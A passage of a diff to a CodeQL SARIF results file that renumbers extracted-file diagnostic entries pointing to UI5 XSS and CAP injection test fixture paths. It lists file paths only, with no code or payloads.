         "properties" : {
@@ -9785,7 +9785,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/package.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/manifest.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 258
             }
@@ -9799,7 +9799,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -9811,7 +9811,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/ui5.yaml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/view/app.view.xml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 259
             }
@@ -9825,7 +9825,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -9837,7 +9837,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/webapp/controller/app.controller.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/package-lock.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 260
             }
@@ -9851,7 +9851,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -9863,7 +9863,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/webapp/index.html",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/package.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 261
             }
@@ -9877,7 +9877,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -9889,7 +9889,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/webapp/index.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/ui5.yaml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 262
             }
@@ -9903,7 +9903,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -9915,7 +9915,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/webapp/manifest.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/webapp/controller/app.controller.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 263
             }
@@ -9929,7 +9929,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -9941,7 +9941,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/webapp/view/app.view.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/webapp/index.html",
               "uriBaseId" : "%SRCROOT%",
               "index" : 264
             }
@@ -9955,7 +9955,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -9967,7 +9967,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/package-lock.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/webapp/index.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 265
             }
@@ -9981,7 +9981,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -9993,7 +9993,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/package.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/webapp/manifest.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 266
             }
@@ -10007,7 +10007,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -10019,7 +10019,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/ui5.yaml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/webapp/view/app.view.xml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 267
             }
@@ -10033,7 +10033,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -10045,7 +10045,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/controller/app.controller.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/package-lock.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 268
             }
@@ -10059,7 +10059,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -10071,7 +10071,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/index.html",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/package.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 269
             }
@@ -10085,7 +10085,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -10097,7 +10097,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/index.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/ui5.yaml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 270
             }
@@ -10111,7 +10111,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -10123,7 +10123,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/manifest.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/controller/app.controller.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 271
             }
@@ -10137,7 +10137,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -10149,7 +10149,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/view/app.view.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/controller/model.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 272
             }
@@ -10163,7 +10163,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -10175,7 +10175,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/package-lock.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/index.html",
               "uriBaseId" : "%SRCROOT%",
               "index" : 273
             }
@@ -10189,7 +10189,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -10201,7 +10201,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/package.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/index.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 274
             }
@@ -10215,7 +10215,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -10227,7 +10227,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/ui5.yaml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/manifest.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 275
             }
@@ -10241,7 +10241,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -10253,7 +10253,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/control/renderer.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/view/app.view.xml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 276
             }
@@ -10267,7 +10267,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -10279,7 +10279,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/control/xss.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/package-lock.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 277
             }
@@ -10293,7 +10293,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -10305,7 +10305,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/controller/app.controller.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/package.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 278
             }
@@ -10319,7 +10319,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -10331,7 +10331,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/index.html",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/ui5.yaml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 279
             }
@@ -10345,7 +10345,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -10357,7 +10357,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/index.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/webapp/controller/app.controller.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 280
             }
@@ -10371,7 +10371,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -10383,7 +10383,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/manifest.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/webapp/index.html",
               "uriBaseId" : "%SRCROOT%",
               "index" : 281
             }
@@ -10397,7 +10397,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -10409,7 +10409,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/view/app.view.xml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/webapp/index.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 282
             }
@@ -10423,7 +10423,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -10435,7 +10435,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/package-lock.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/webapp/manifest.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 283
             }
@@ -10449,7 +10449,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -10461,7 +10461,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/package.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/webapp/view/app.view.html",
               "uriBaseId" : "%SRCROOT%",
               "index" : 284
             }
@@ -10475,7 +10475,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -10487,7 +10487,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/ui5.yaml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/package-lock.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 285
             }
@@ -10501,7 +10501,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -10513,7 +10513,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/control/xss.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/package.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 286
             }
@@ -10527,7 +10527,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -10539,7 +10539,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/control/xssRenderer.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/ui5.yaml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 287
             }
@@ -10553,7 +10553,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -10565,7 +10565,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/controller/app.controller.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/control/xss.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 288
             }
@@ -10579,7 +10579,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -10591,7 +10591,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/index.html",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/control/xssBase.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 289
             }
@@ -10605,7 +10605,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -10617,7 +10617,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/index.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/control/xssRenderer.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 290
             }
@@ -10631,7 +10631,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -10643,7 +10643,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/manifest.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/controller/app.controller.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 291
             }
@@ -10657,7 +10657,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -10669,7 +10669,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/view/app.view.xml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/index.html",
               "uriBaseId" : "%SRCROOT%",
               "index" : 292
             }
@@ -10683,7 +10683,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -10695,7 +10695,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/package-lock.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/index.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 293
             }
@@ -10709,7 +10709,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -10721,7 +10721,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/ui5.yaml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/manifest.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 294
             }
@@ -10735,7 +10735,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -10747,7 +10747,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/package.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/view/app.view.xml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 295
             }
@@ -10761,7 +10761,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -10773,7 +10773,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/index.html",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/package-lock.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 296
             }
@@ -10787,7 +10787,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -10799,7 +10799,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/controller/app.controller.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/package.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 297
             }
@@ -10813,7 +10813,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -10825,7 +10825,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/index.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/ui5.yaml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 298
             }
@@ -10839,7 +10839,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -10851,7 +10851,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/manifest.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/webapp/controller/app.controller.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 299
             }
@@ -10865,7 +10865,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -10877,7 +10877,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/view/app.view.xml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/webapp/index.html",
               "uriBaseId" : "%SRCROOT%",
               "index" : 300
             }
@@ -10891,7 +10891,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -10903,9 +10903,9 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/heuristic-models/tests/Sources/test.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/webapp/index.js",
               "uriBaseId" : "%SRCROOT%",
-              "index" : 4
+              "index" : 301
             }
           }
         } ],
@@ -10917,7 +10917,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -10929,9 +10929,9 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/heuristic-models/tests/codeql-pack.lock.yml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/webapp/manifest.json",
               "uriBaseId" : "%SRCROOT%",
-              "index" : 301
+              "index" : 302
             }
           }
         } ],
@@ -10943,7 +10943,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -10955,9 +10955,9 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/heuristic-models/tests/qlpack.yml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/webapp/view/app.view.js",
               "uriBaseId" : "%SRCROOT%",
-              "index" : 302
+              "index" : 303
             }
           }
         } ],
@@ -10969,7 +10969,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -10981,9 +10981,9 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "qlt.conf.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/package-lock.json",
               "uriBaseId" : "%SRCROOT%",
-              "index" : 303
+              "index" : 304
             }
           }
         } ],
@@ -10995,7 +10995,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -11007,9 +11007,9 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "scripts/codeql-pack.lock.yml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/package.json",
               "uriBaseId" : "%SRCROOT%",
-              "index" : 304
+              "index" : 305
             }
           }
         } ],
@@ -11021,7 +11021,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -11033,9 +11033,9 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "scripts/qlpack.yml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/ui5.yaml",
               "uriBaseId" : "%SRCROOT%",
-              "index" : 305
+              "index" : 306
             }
           }
         } ],
@@ -11047,7 +11047,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -11055,1875 +11055,3556 @@
             "text" : ""
           }
         }
-      } ],
-      "executionSuccessful" : true
-    } ],
-    "artifacts" : [ {
-      "location" : {
-        "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sqlinjection.js",
-        "uriBaseId" : "%SRCROOT%",
-        "index" : 0
-      }
-    }, {
-      "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js",
-        "uriBaseId" : "%SRCROOT%",
-        "index" : 1
-      }
-    }, {
-      "location" : {
-        "uri" : "javascript/frameworks/cap/test/queries/loginjection/loginjection.js",
-        "uriBaseId" : "%SRCROOT%",
-        "index" : 2
-      }
-    }, {
-      "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
-        "uriBaseId" : "%SRCROOT%",
-        "index" : 3
-      }
-    }, {
-      "location" : {
-        "uri" : "javascript/heuristic-models/tests/Sources/test.js",
-        "uriBaseId" : "%SRCROOT%",
-        "index" : 4
-      }
-    }, {
-      "location" : {
-        "uri" : ".github/actions/install-qlt/action.yml",
-        "uriBaseId" : "%SRCROOT%",
-        "index" : 5
-      }
-    }, {
-      "location" : {
-        "uri" : ".github/actions/install-codeql/action.yml",
-        "uriBaseId" : "%SRCROOT%",
-        "index" : 6
-      }
-    }, {
-      "location" : {
-        "uri" : ".github/codeql/extensions/javascript/frameworks/cap/ext/ext/codeql-pack.lock.yml",
-        "uriBaseId" : "%SRCROOT%",
-        "index" : 7
-      }
-    }, {
-      "location" : {
-        "uri" : ".github/codeql/codeql-config.yaml",
-        "uriBaseId" : "%SRCROOT%",
-        "index" : 8
-      }
-    }, {
-      "location" : {
-        "uri" : ".github/codeql/extensions/javascript/frameworks/cap/ext/ext/qlpack.yml",
-        "uriBaseId" : "%SRCROOT%",
-        "index" : 9
-      }
-    }, {
-      "location" : {
-        "uri" : ".github/codeql/extensions/javascript/frameworks/ui5/ext/ext/codeql-pack.lock.yml",
-        "uriBaseId" : "%SRCROOT%",
-        "index" : 10
-      }
-    }, {
-      "location" : {
-        "uri" : ".github/codeql/extensions/javascript/frameworks/ui5/ext/ext/qlpack.yml",
-        "uriBaseId" : "%SRCROOT%",
-        "index" : 11
-      }
